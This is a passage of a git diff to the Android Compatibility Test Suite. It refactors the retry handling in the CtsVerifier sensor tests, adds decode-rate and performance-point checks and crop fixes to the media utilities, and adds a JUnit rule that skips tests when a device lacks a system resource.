@@ -142,10 +139,8 @@ public class BatchingTestActivity extends SensorCtsVerifierTestActivity {
private String runFlushTest(int sensorType, int maxBatchReportLatencySec, int instructionsResId)
throws Throwable {
- if (!mShouldRetry) {
- getTestLogger().logInstructions(instructionsResId);
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(instructionsResId);
int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
TestSensorEnvironment environment = new TestSensorEnvironment(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
index 368eb66c151..39cdfb022c4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
@@ -47,8 +47,7 @@ public class GyroscopeMeasurementTestActivity extends SensorCtsVerifierTestActiv
private final GLRotationGuideRenderer mRenderer = new GLRotationGuideRenderer();
public GyroscopeMeasurementTestActivity() {
- super(GyroscopeMeasurementTestActivity.class);
- mEnableRetry = true;
+ super(GyroscopeMeasurementTestActivity.class, true);
}
@Override
@@ -110,12 +109,9 @@ public class GyroscopeMeasurementTestActivity extends SensorCtsVerifierTestActiv
public String testCalibratedAndUncalibrated() throws Throwable {
setRendererRotation(Z_AXIS, false);
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(R.string.snsr_keep_device_rotating_clockwise);
- waitForUserToBegin();
- }
- logger.logWaitForSound();
+ setFirstExecutionInstruction(R.string.snsr_keep_device_rotating_clockwise);
+
+ getTestLogger().logWaitForSound();
TestSensorEnvironment calibratedEnvironment = new TestSensorEnvironment(
getApplicationContext(),
@@ -150,12 +146,9 @@ public class GyroscopeMeasurementTestActivity extends SensorCtsVerifierTestActiv
throws Throwable {
setRendererRotation(rotationAxis, expectationDeg >= 0);
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(instructionsResId);
- waitForUserToBegin();
- }
- logger.logWaitForSound();
+ setFirstExecutionInstruction(instructionsResId);
+
+ getTestLogger().logWaitForSound();
TestSensorEnvironment environment = new TestSensorEnvironment(
getApplicationContext(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7477840629..e7e55f2427f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -54,8 +54,7 @@ import junit.framework.Assert;
*/
public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity {
public SignificantMotionTestActivity() {
- super(SignificantMotionTestActivity.class);
- mEnableRetry = true;
+ super(SignificantMotionTestActivity.class, true);
}
// acceptable time difference between event time and system time
@@ -141,15 +140,12 @@ public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity
@SuppressWarnings("unused")
public String testTriggerDeactivation() throws Throwable {
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(R.string.snsr_significant_motion_test_deactivation);
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(R.string.snsr_significant_motion_test_deactivation);
TriggerVerifier verifier = new TriggerVerifier();
mSensorManager.requestTriggerSensor(verifier, mSensorSignificantMotion);
- logger.logWaitForSound();
+ getTestLogger().logWaitForSound();
String result;
try {
@@ -192,11 +188,9 @@ public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity
@SuppressWarnings("unused")
public String testAPWakeUpOnSMDTrigger() throws Throwable {
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(R.string.snsr_significant_motion_ap_suspend);
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(R.string.snsr_significant_motion_ap_suspend);
+
mVerifier = new TriggerVerifier();
mSensorManager.requestTriggerSensor(mVerifier, mSensorSignificantMotion);
long testStartTimeNs = SystemClock.elapsedRealtimeNanos();
@@ -247,11 +241,8 @@ public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity
boolean isMotionExpected,
boolean cancelEventNotification,
boolean vibrate) throws Throwable {
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(instructionsResId);
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(instructionsResId);
if (vibrate) {
vibrate(VIBRATE_DURATION_MILLIS);
@@ -267,7 +258,7 @@ public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity
getString(R.string.snsr_significant_motion_cancelation),
mSensorManager.cancelTriggerSensor(verifier, mSensorSignificantMotion));
}
- logger.logWaitForSound();
+ getTestLogger().logWaitForSound();
String result;
try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
index 84c3ef773e9..9135c92d58f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
@@ -97,13 +97,9 @@ public abstract class BaseSensorTestActivity
private GLSurfaceView mGLSurfaceView;
private boolean mUsingGlSurfaceView;
- // Flag for sensor tests with retry.
- protected boolean mEnableRetry = false;
// Flag for Retry button appearance.
- protected boolean mShouldRetry = false;
- // Flag for the last sub-test to show Finish button.
- protected boolean mIsLastSubtest = false;
- protected int mRetryCount = 0;
+ private boolean mShouldRetry = false;
+ private int mRetryCount = 0;
/**
* Constructor to be used by subclasses.
@@ -142,7 +138,7 @@ public abstract class BaseSensorTestActivity
mFailButton = (Button) findViewById(R.id.fail_button);
mGLSurfaceView = (GLSurfaceView) findViewById(R.id.gl_surface_view);
mRetryButton = (Button) findViewById(R.id.retry_button);
- mRetryButton.setOnClickListener(this);
+ mRetryButton.setOnClickListener(new retryButtonListener());
mRetryButton.setVisibility(View.GONE);
updateNextButton(false /*enabled*/);
@@ -173,14 +169,7 @@ public abstract class BaseSensorTestActivity
@Override
public void onClick(View target) {
- switch (target.getId()) {
- case R.id.next_button:
- mShouldRetry = false;
- break;
- case R.id.retry_button:
- mShouldRetry = true;
- break;
- }
+ mShouldRetry = false;
synchronized (mWaitForUserLatches) {
for (CountDownLatch latch : mWaitForUserLatches) {
@@ -190,6 +179,22 @@ public abstract class BaseSensorTestActivity
}
}
+ private class retryButtonListener implements View.OnClickListener {
+
+ @Override
+ public void onClick(View v) {
+ mShouldRetry = true;
+ ++mRetryCount;
+
+ synchronized (mWaitForUserLatches) {
+ for (CountDownLatch latch : mWaitForUserLatches) {
+ latch.countDown();
+ }
+ mWaitForUserLatches.clear();
+ }
+ }
+ }
+
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
mActivityResultMultiplexedLatch.onActivityResult(requestCode, resultCode);
@@ -273,6 +278,13 @@ public abstract class BaseSensorTestActivity
*/
protected abstract SensorTestDetails executeTests() throws InterruptedException;
+ /**
+ * Get mShouldRetry to check if test is required to retry.
+ */
+ protected boolean getShouldRetry() {
+ return mShouldRetry;
+ }
+
@Override
public SensorTestLogger getTestLogger() {
return mTestLogger;
@@ -312,8 +324,12 @@ public abstract class BaseSensorTestActivity
}
mTestLogger.logInstructions(waitMessageResId);
+ setNextButtonText(waitMessageResId);
+
+ updateRetryButton(true);
updateNextButton(true);
latch.await();
+ updateRetryButton(false);
updateNextButton(false);
}
@@ -326,14 +342,18 @@ public abstract class BaseSensorTestActivity
/**
* Waits for the operator to acknowledge to retry execution.
- * If the execution is for the last subtest, will notify user by Finish button.
*/
protected void waitForUserToRetry() throws InterruptedException {
- if (mIsLastSubtest) {
- waitForUser(R.string.snsr_wait_to_finish);
- } else {
- waitForUser(R.string.snsr_wait_to_retry);
- }
+ mShouldRetry = true;
+ waitForUser(R.string.snsr_wait_to_retry);
+ }
+
+ /**
+ * Waits for the operator to acknowledge to finish execution.
+ */
+ protected void waitForUserToFinish() throws InterruptedException {
+ mShouldRetry = true;
+ waitForUser(R.string.snsr_wait_to_finish);
}
/**
@@ -559,27 +579,31 @@ public abstract class BaseSensorTestActivity
runOnUiThread(new Runnable() {
@Override
public void run() {
- mNextButton.setText(getNextButtonText());
- updateRetryButton(enabled);
mNextButton.setEnabled(enabled);
}
});
}
/**
- * Get the text for next button.
+ * Set the text for next button by instruction message.
* During retry, next button text is changed to notify users.
+ *
+ * @param waitMessageResId The action requested to the operator.
*/
- private int getNextButtonText() {
- int nextButtonText = R.string.next_button_text;
- if (mShouldRetry) {
- if (mIsLastSubtest){
- nextButtonText = R.string.finish_button_text;
- } else {
+ private void setNextButtonText(int waitMessageResId) {
+ int nextButtonText;
+ switch (waitMessageResId) {
+ case R.string.snsr_wait_to_retry:
nextButtonText = R.string.fail_and_next_button_text;
- }
+ break;
+ case R.string.snsr_wait_to_finish:
+ nextButtonText = R.string.finish_button_text;
+ break;
+ default:
+ nextButtonText = R.string.next_button_text;
+ break;
}
- return nextButtonText;
+ mNextButton.setText(nextButtonText);
}
/**
@@ -588,16 +612,22 @@ public abstract class BaseSensorTestActivity
*
* @param enabled The status of button.
*/
- private void updateRetryButton(boolean enabled) {
- String showRetryCount = String.format(
- "%s (%d)", getResources().getText(R.string.retry_button_text), mRetryCount);
- if (mShouldRetry) {
- mRetryButton.setText(showRetryCount);
- mRetryButton.setVisibility(View.VISIBLE);
- mRetryButton.setEnabled(enabled);
- } else {
- mRetryButton.setVisibility(View.GONE);
- }
+ private void updateRetryButton(final boolean enabled) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ if (mShouldRetry) {
+ String showRetryCount = String.format(
+ "%s (%d)", getResources().getText(R.string.retry_button_text), mRetryCount);
+ mRetryButton.setText(showRetryCount);
+ mRetryButton.setVisibility(View.VISIBLE);
+ mRetryButton.setEnabled(enabled);
+ } else {
+ mRetryButton.setVisibility(View.GONE);
+ mRetryCount = 0;
+ }
+ }
+ });
}
private void enableTestResultButton(
@@ -665,6 +695,7 @@ public abstract class BaseSensorTestActivity
logTestSkip(name, summary);
break;
case PASS:
+ mShouldRetry = false;
logTestPass(name, summary);
break;
case FAIL:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
index 4401536407c..b65b595c2ef 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
@@ -40,6 +40,7 @@ public abstract class SensorCtsVerifierTestActivity extends BaseSensorTestActivi
private volatile int mTestSkippedCounter;
private volatile int mTestFailedCounter;
private volatile ISensorTestNode mCurrentTestNode;
+ private volatile boolean mEnableRetry = false;
/**
* {@inheritDoc}
@@ -50,6 +51,20 @@ public abstract class SensorCtsVerifierTestActivity extends BaseSensorTestActivi
}
/**
+ * {@inheritDoc}
+ * Constructor to be used by subclasses.
+ *
+ * @param testClass The class that contains the tests. It is dependant on test executor
+ * implemented by subclasses.
+ * @param enableRetry Subclass can enable retry mechanism for subtests.
+ */
+ protected SensorCtsVerifierTestActivity(
+ Class<? extends SensorCtsVerifierTestActivity> testClass, boolean enableRetry) {
+ super(testClass);
+ mEnableRetry = enableRetry;
+ }
+
+ /**
* Executes Semi-automated Sensor tests.
* Execution is driven by this class, and allows discovery of tests using reflection.
*/
@@ -59,22 +74,24 @@ public abstract class SensorCtsVerifierTestActivity extends BaseSensorTestActivi
Iterator<Method> testMethodIt = findTestMethods().iterator();
while (testMethodIt.hasNext()) {
Method testMethod = testMethodIt.next();
- mIsLastSubtest = !testMethodIt.hasNext();
- mRetryCount = 0;
+ boolean isLastSubtest = !testMethodIt.hasNext();
getTestLogger().logTestStart(testMethod.getName());
SensorTestDetails testDetails = executeTest(testMethod);
getTestLogger().logTestDetails(testDetails);
+
// If tests enable retry and get failed result, trigger the retry process.
while (mEnableRetry && testDetails.getResultCode().equals(ResultCode.FAIL)) {
- mShouldRetry = true;
- waitForUserToRetry();
- if (!mShouldRetry) {
+ if (isLastSubtest) {
+ waitForUserToFinish();
+ } else {
+ waitForUserToRetry();
+ }
+ if (!getShouldRetry()) {
break;
}
mTestFailedCounter--;
testDetails = executeTest(testMethod);
getTestLogger().logTestDetails(testDetails);
- mRetryCount++;
}
}
return new SensorTestDetails(
@@ -151,4 +168,19 @@ public abstract class SensorCtsVerifierTestActivity extends BaseSensorTestActivi
return mTestClass.getSimpleName() + "_" + mTestMethod.getName();
}
}
+
+ /**
+ * Show the instruction for the first time execution and wait for user to begin the test.
+ *
+ * @param descriptionResId The description for the first time execution.
+ */
+ protected void setFirstExecutionInstruction(int ... descriptionResId) throws Throwable {
+ if (!getShouldRetry()) {
+ SensorTestLogger logger = getTestLogger();
+ for (int id : descriptionResId) {
+ logger.logInstructions(id);
+ }
+ waitForUserToBegin();
+ }
+ }
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
index 469e99a9d6b..7e02b85365f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
@@ -173,4 +173,41 @@ public class MediaPerfUtils {
return "Expected " + kind + ": " + reported + ".\n"
+ "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
}
+
+ /** Verifies |requestedFps| does not exceed reported achievable rates.
+ * Returns null if *ALL* requested rates are claimed to be achievable.
+ * Otherwise, returns a diagnostic explaining why it's not achievable.
+ * (one of the rates was too fast, we don't have achievability information, etc).
+ *
+ * we're looking for 90% confidence, which is documented as being:
+ * "higher than half of the lower limit at least 90% of the time in tested configurations"
+ *
+ * NB: we only invoke this for the SW codecs; we use performance point info for the
+ * hardware codecs.
+ * */
+ public static String areAchievableFrameRates(
+ String name, String mime, int w, int h, double... requestedFps) {
+ Range<Double> reported =
+ MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
+ String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
+ if (reported == null) {
+ return "Failed to get " + kind;
+ }
+
+ double confidence90 = reported.getLower() / 2.0;
+
+ Log.d(TAG, name + " " + mime + " " + w + "x" + h +
+ " lower " + reported.getLower() + " 90% confidence " + confidence90 +
+ " requested " + Arrays.toString(requestedFps));
+
+ // if *any* of them are too fast, we say no.
+ for (double requested : requestedFps) {
+ if (requested > confidence90) {
+ return "Expected " + kind + ": " + reported + ", 90% confidence: " + confidence90
+ + ".\n"
+ + "Requested frame rate: " + Arrays.toString(requestedFps) + ".\n";
+ }
+ }
+ return null;
+ }
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 772009dbb67..3e9e2df64e3 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -20,6 +20,7 @@ import android.content.res.AssetFileDescriptor;
import android.drm.DrmConvertedStatus;
import android.drm.DrmManagerClient;
import android.graphics.ImageFormat;
+import android.graphics.Rect;
import android.media.Image;
import android.media.Image.Plane;
import android.media.MediaCodec;
@@ -31,6 +32,7 @@ import android.media.MediaCodecList;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.net.Uri;
+import android.os.Build;
import android.util.Log;
import android.util.Range;
@@ -299,11 +301,84 @@ public class MediaUtils {
}
public static boolean canDecode(MediaFormat format) {
- if (sMCL.findDecoderForFormat(format) == null) {
+ return canDecode(format, 0.0);
+ }
+
+ // this is "do we claim to decode"; caller is on the hook to determine
+ // if we actually meet that claim, specifically around speed.
+ public static boolean canDecode(MediaFormat format, double rate ) {
+ String decoder = sMCL.findDecoderForFormat(format);
+
+ if (decoder == null) {
Log.i(TAG, "no decoder for " + format);
return false;
}
- return true;
+
+ if (rate == 0.0) {
+ return true;
+ }
+
+ // before Q, we always said yes once we found a decoder for the format.
+ if (ApiLevelUtil.isBefore(Build.VERSION_CODES.Q)) {
+ return true;
+ }
+
+ // we care about speed of decoding
+ Log.d(TAG, "checking for decoding " + format + " at " +
+ rate + " fps with " + decoder);
+
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ int width = format.getInteger(MediaFormat.KEY_WIDTH);
+ int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+
+ MediaCodecInfo[] mciList = sMCL.getCodecInfos();
+
+ if (mciList == null) {
+ Log.d(TAG, "did not get list of MediaCodecInfo");
+ return false;
+ }
+
+ MediaCodecInfo mci = null;
+ for (MediaCodecInfo mci2 : mciList) {
+ if (mci2.getName().equals(decoder)) {
+ mci = mci2;
+ break;
+ }
+ }
+ if (mci == null) {
+ return false;
+ }
+ if (!mci.getName().equals(decoder)) {
+ Log.e(TAG, "did not find expected " + decoder);
+ return false;
+ }
+
+ if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q) && mci.isHardwareAccelerated()) {
+ MediaCodecInfo.VideoCapabilities caps =
+ mci.getCapabilitiesForType(mime).getVideoCapabilities();
+ List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pp =
+ caps.getSupportedPerformancePoints();
+ VideoCapabilities.PerformancePoint target =
+ new VideoCapabilities.PerformancePoint(width, height, (int) rate);
+ for (MediaCodecInfo.VideoCapabilities.PerformancePoint point : pp) {
+ if (point.covers(target)) {
+ Log.i(TAG, "target " + target.toString() +
+ " covered by point " + point.toString());
+ return true;
+ }
+ }
+ Log.i(TAG, "NOT covered by any hardware performance point");
+ return false;
+ } else {
+ String verified = MediaPerfUtils.areAchievableFrameRates(
+ decoder, mime, width, height, rate);
+ if (verified == null) {
+ Log.d(TAG, "claims to decode content at " + rate + " fps");
+ return true;
+ }
+ Log.d(TAG, "achieveable framerates says: " + verified);
+ return false;
+ }
}
public static boolean supports(String codecName, String mime, int w, int h) {
@@ -554,15 +629,27 @@ public class MediaUtils {
return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
}
+ // checks format, does not address actual speed of decoding
public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
+ return canDecodeVideo(mime, width, height, rate, (float)0.0);
+ }
+
+ // format + decode rate
+ public static boolean canDecodeVideo(String mime, int width, int height, float rate, float decodeRate) {
MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
- return canDecode(format);
+ return canDecode(format, decodeRate);
}
public static boolean canDecodeVideo(
String mime, int width, int height, float rate,
Integer profile, Integer level, Integer bitrate) {
+ return canDecodeVideo(mime, width, height, rate, profile, level, bitrate, (float)0.0);
+ }
+
+ public static boolean canDecodeVideo(
+ String mime, int width, int height, float rate,
+ Integer profile, Integer level, Integer bitrate, float decodeRate) {
MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
if (profile != null) {
@@ -574,7 +661,7 @@ public class MediaUtils {
if (bitrate != null) {
format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
}
- return canDecode(format);
+ return canDecode(format, decodeRate);
}
public static boolean checkEncoderForFormat(MediaFormat format) {
@@ -1168,36 +1255,46 @@ public class MediaUtils {
MessageDigest md = MessageDigest.getInstance("MD5");
- int imageWidth = image.getWidth();
- int imageHeight = image.getHeight();
+ Rect crop = image.getCropRect();
+ int cropLeft = crop.left;
+ int cropRight = crop.right;
+ int cropTop = crop.top;
+ int cropBottom = crop.bottom;
+
+ int imageWidth = cropRight - cropLeft;
+ int imageHeight = cropBottom - cropTop;
Image.Plane[] planes = image.getPlanes();
for (int i = 0; i < planes.length; ++i) {
ByteBuffer buf = planes[i].getBuffer();
- int width, height, rowStride, pixelStride, x, y;
+ int width, height, rowStride, pixelStride, x, y, top, left;
rowStride = planes[i].getRowStride();
pixelStride = planes[i].getPixelStride();
if (i == 0) {
width = imageWidth;
height = imageHeight;
+ left = cropLeft;
+ top = cropTop;
} else {
width = imageWidth / 2;
height = imageHeight /2;
+ left = cropLeft / 2;
+ top = cropTop / 2;
}
// local contiguous pixel buffer
byte[] bb = new byte[width * height];
if (buf.hasArray()) {
byte b[] = buf.array();
- int offs = buf.arrayOffset();
+ int offs = buf.arrayOffset() + left * pixelStride;
if (pixelStride == 1) {
for (y = 0; y < height; ++y) {
- System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+ System.arraycopy(bb, y * width, b, (top + y) * rowStride + offs, width);
}
} else {
// do it pixel-by-pixel
for (y = 0; y < height; ++y) {
- int lineOffset = offs + y * rowStride;
+ int lineOffset = offs + (top + y) * rowStride;
for (x = 0; x < width; ++x) {
bb[y * width + x] = b[lineOffset + x * pixelStride];
}
@@ -1207,7 +1304,7 @@ public class MediaUtils {
int pos = buf.position();
if (pixelStride == 1) {
for (y = 0; y < height; ++y) {
- buf.position(pos + y * rowStride);
+ buf.position(pos + left + (top + y) * rowStride);
buf.get(bb, y * width, width);
}
} else {
@@ -1215,7 +1312,7 @@ public class MediaUtils {
byte[] lb = new byte[rowStride];
// do it pixel-by-pixel
for (y = 0; y < height; ++y) {
- buf.position(pos + y * rowStride);
+ buf.position(pos + left * pixelStride + (top + y) * rowStride);
// we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
buf.get(lb, 0, pixelStride * (width - 1) + 1);
for (x = 0; x < width; ++x) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 9df0bf17f6d..28d8f0d49bc 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -97,6 +97,18 @@ public class PackageUtil {
}
}
+ /** Returns the version code for the package name, or null if the package can't be found */
+ public static Long getLongVersionCode(String packageName) {
+ try {
+ PackageInfo info = getPackageManager().getPackageInfo(packageName,
+ PackageManager.GET_META_DATA);
+ return info.getLongVersionCode();
+ } catch (PackageManager.NameNotFoundException | NullPointerException e) {
+ Log.w(TAG, "Could not find version string for package " + packageName);
+ return null;
+ }
+ }
+
/**
* Compute the signature SHA digest for a package.
* @param package the name of the package for which the signature SHA digest is requested
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
index 0ab94d64030..44571d1e6c4 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
@@ -55,6 +55,11 @@ public class RequiredFeatureRule implements TestRule {
};
}
+ @Override
+ public String toString() {
+ return "RequiredFeatureRule[" + mFeature + "]";
+ }
+
public static boolean hasFeature(String feature) {
return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
index 96dbcd8f765..bbfa2db7393 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
@@ -75,4 +75,9 @@ public class RequiredServiceRule implements TestRule {
return false;
}
}
+
+ @Override
+ public String toString() {
+ return "RequiredServiceRule[" + mService + "]";
+ }
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
new file mode 100644
index 00000000000..ead59943483
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.res.Resources;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not define the given system
+ * resource.
+ */
+public class RequiredSystemResourceRule implements TestRule {
+
+ private static final String TAG = "RequiredSystemResourceRule";
+
+ @NonNull private final String mName;
+ private final boolean mHasResource;
+
+ /**
+ * Creates a rule for the given system resource.
+ *
+ * @param resourceId resource per se
+ * @param name resource name used for debugging purposes
+ */
+ public RequiredSystemResourceRule(@NonNull String name) {
+ mName = name;
+ mHasResource = !TextUtils.isEmpty(getSystemResource(name));
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ if (!mHasResource) {
+ Log.d(TAG, "skipping "
+ + description.getClassName() + "#" + description.getMethodName()
+ + " because device does not have system resource '" + mName + "'");
+ return;
+ }
+ base.evaluate();
+ }
+ };
+ }
+
+ /**
+ * Gets the given system resource.
+ */
+ @Nullable
+ public static String getSystemResource(@NonNull String name) {
+ try {
+ final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
+ return Resources.getSystem().getString(resourceId);
+ } catch (Exception e) {
+ Log.e(TAG, "could not get value of resource '" + name + "': ", e);
+ }
+ return null;
+ }
+
+ @Override
+ public String toString() {
+ return "RequiredSystemResourceRule[" + mName + "]";
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
index be9130805c9..c81f648f6ec 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
@@ -1161,8 +1161,8 @@ public class MediaUtils {
int cropTop = crop.top;
int cropBottom = crop.bottom;
- int imageWidth = cropRight - cropLeft + 1;
- int imageHeight = cropBottom - cropTop + 1;
+ int imageWidth = cropRight - cropLeft;
+ int imageHeight = cropBottom - cropTop;
Image.Plane[] planes = image.getPlanes();
for (int i = 0; i < planes.length; ++i) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
new file mode 100644
index 00000000000..ead59943483
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.res.Resources;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not define the given system
+ * resource.
+ */
+public class RequiredSystemResourceRule implements TestRule {
+
+ private static final String TAG = "RequiredSystemResourceRule";
+
+ @NonNull private final String mName;
+ private final boolean mHasResource;
+
+ /**
+ * Creates a rule for the given system resource.
+ *
+ * @param resourceId resource per se
+ * @param name resource name used for debugging purposes
+ */
+ public RequiredSystemResourceRule(@NonNull String name) {
+ mName = name;
+ mHasResource = !TextUtils.isEmpty(getSystemResource(name));
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ if (!mHasResource) {
+ Log.d(TAG, "skipping "
+ + description.getClassName() + "#" + description.getMethodName()
+ + " because device does not have system resource '" + mName + "'");
+ return;
+ }
+ base.evaluate();
+ }
+ };
+ }
+
+ /**
+ * Gets the given system resource.
+ */
+ @Nullable
+ public static String getSystemResource(@NonNull String name) {
+ try {
+ final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
+ return Resources.getSystem().getString(resourceId);
+ } catch (Exception e) {
+ Log.e(TAG, "could not get value of resource '" + name + "': ", e);
+ }
+ return null;
+ }
+
+ @Override
+ public String toString() {
+ return "RequiredSystemResourceRule[" + mName + "]";
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
index 2597020cef7..2197a661250 100644
